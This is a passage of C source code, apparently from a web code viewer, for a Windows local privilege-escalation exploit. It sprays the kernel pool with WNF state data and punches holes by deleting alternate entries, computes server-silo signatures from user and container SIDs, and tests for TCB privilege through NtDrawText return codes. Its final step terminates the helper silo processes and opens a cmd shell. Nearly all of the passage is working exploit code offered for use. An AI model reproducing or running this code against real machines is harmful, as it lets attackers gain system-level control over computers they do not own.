|
|
if (Status != 0)
|
|
{
|
|
printf("[-] HeapSprayPrepare NtUpdateWnfStateData() Return Code: %x\n", Status);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
|
|
for (int i = 0; i < count2; i++)
|
|
{
|
|
Status = NtCreateWnfStateName(&StateNames2[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
|
|
if (Status != 0)
|
|
{
|
|
printf("[-] HeapSprayPrepare NtCreateWnfStateName() Return Code: %x\n", Status);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
for (int i = 0; i < count2; i++) {
|
|
Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames2[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
|
|
if (Status != 0)
|
|
{
|
|
printf("[-] HeapSprayPrepare NtUpdateWnfStateData() Return Code: %x\n", Status);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
|
|
for (int i = 0; i < count2; i=i+2)
|
|
{
|
|
Status = NtDeleteWnfStateData((PWNF_STATE_NAME)&StateNames2[i], NULL);
|
|
if (Status != 0)
|
|
{
|
|
printf("[-] HeapSprayPrepare NtDeleteWnfStateData() Return Code: %x\n", Status);
|
|
return false;
|
|
}
|
|
|
|
Status = NtDeleteWnfStateName((PWNF_STATE_NAME)&StateNames2[i]);
|
|
if (Status != 0)
|
|
{
|
|
printf("[-] HeapSprayPrepare NtDeleteWnfStateName() Return Code: %x\n", Status);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
|
|
if (pSD)
|
|
{
|
|
LocalFree(pSD);
|
|
}
|
|
|
|
|
|
return true;
|
|
}
|
|
|
|
ULONG_PTR CalcSignature(PSID UserId, PSID ContainerId) {
|
|
LONGLONG Signature = 0i64;
|
|
ULONG Length = 0;
|
|
ULONG UserIdLength = 0;
|
|
ULONG ContainerIdLength;
|
|
BYTE ch = 0;
|
|
|
|
UserIdLength = RtlLengthSid(UserId);
|
|
//printf("UserIdLength=%x\n", UserIdLength);
|
|
|
|
if (UserIdLength)
|
|
{
|
|
Length = UserIdLength;
|
|
|
|
do
|
|
{
|
|
ch = *(PBYTE)UserId;
|
|
//printf("ch=%hhx\n", ch);
|
|
UserId = ((PBYTE)UserId + 1);
|
|
Signature = ch + 0x25 * Signature;
|
|
//printf("Silo2 Signature=%I64x\n", Signature);
|
|
--Length;
|
|
} while (Length);
|
|
}
|
|
ContainerIdLength = RtlLengthSid(ContainerId);
|
|
//printf("ContainerIdLength=%x\n", ContainerIdLength);
|
|
if (ContainerIdLength)
|
|
{
|
|
Length = ContainerIdLength;
|
|
do
|
|
{
|
|
ch = *(PBYTE)ContainerId;
|
|
//printf("ch=%hhx\n", ch);
|
|
ContainerId = (PBYTE)ContainerId + 1;
|
|
Signature = ch + 0x25 * Signature;
|
|
//printf("Silo2 Signature=%I64x\n", Signature);
|
|
--Length;
|
|
} while (Length);
|
|
}
|
|
if (!Signature)
|
|
Signature = 0xFFFFFFFFFFFFFFFFui64;
|
|
|
|
return Signature;
|
|
}
|
|
|
|
LONGLONG GetSiloSignature(HANDLE ProcessHandle) {
|
|
LONGLONG Signature = 0i64;
|
|
PSID UserId = NULL;
|
|
PSID ContainerId = NULL;
|
|
|
|
UserId = GetUserId(ProcessHandle);
|
|
ContainerId = GetContainerId(ProcessHandle);
|
|
|
|
gUserId2 = UserId;
|
|
gContainerId = ContainerId;
|
|
|
|
Signature = CalcSignature(UserId, ContainerId);
|
|
|
|
return Signature;
|
|
}
|
|
|
|
void CheckTcbPriviledge() {
|
|
NTSTATUS Status = NtDrawText(NULL);
|
|
|
|
printf("CheckTcbPriviledge NtDrawText %x, ", Status);
|
|
if (Status == 0xC0000061) {
|
|
printf("Failed\n");
|
|
}
|
|
else if (Status == 0xC000000D) {
|
|
printf("Success\n");
|
|
}
|
|
else {
|
|
printf("Unknown\n");
|
|
}
|
|
|
|
}
|
|
void Step0() {
|
|
system("cmd /c \"whoami /all\"");
|
|
Sleep(3000);
|
|
printf("\n\n");
|
|
BuildStroage();
|
|
LoadWnfApi();
|
|
CreateWnfStateName();
|
|
}
|
|
|
|
void Step3() {
|
|
UpdateWnfStateData();
|
|
SendSetPolicyRequest(gAppSilo2Handle);
|
|
}
|
|
|
|
void Step4() {
|
|
TerminateProcess(gAppSilo1Handle, 0);
|
|
TerminateProcess(gAppSilo2Handle, 0);
|
|
//EnablePriviledges();
|
|
CheckTcbPriviledge();
|
|
system("cmd");
|
|
getchar();
|
|
}
|
|
|
|
void HostMain() {
|
|
Step0();
|
|
Step1();
|
|
Step2();
|
|
Step3();
|
|
Step4();
|
|
}
|
|
|
|
void SiloMain1() {
|
|
|
|
CreateTestFile(L"test1.txt");
|
|
getchar();
|
|
}
|
|
|
|
void SiloMain2() {
|
|
|
|
CreateTestFile(L"test2.txt");
|
|
//Sleep(10 * 1000);
|
|
//CreateTestFile(L"test2.txt");
|
|
getchar();
|
|
}
|
|
|
|
int wmain(int argc, WCHAR* argv[])
|
|
{
|
|
if (argc == 1) {
|
|
HostMain();
|
|
}
|
|
else {
|
|
if (!wcscmp(argv[1], SILO_APP_NAME1)) {
|
|
SiloMain1();
|
|
}else if (!wcscmp(argv[1], SILO_APP_NAME2)) {
|
|
SiloMain2();
|
|
};
|
|
}
|
|
}
|
|
|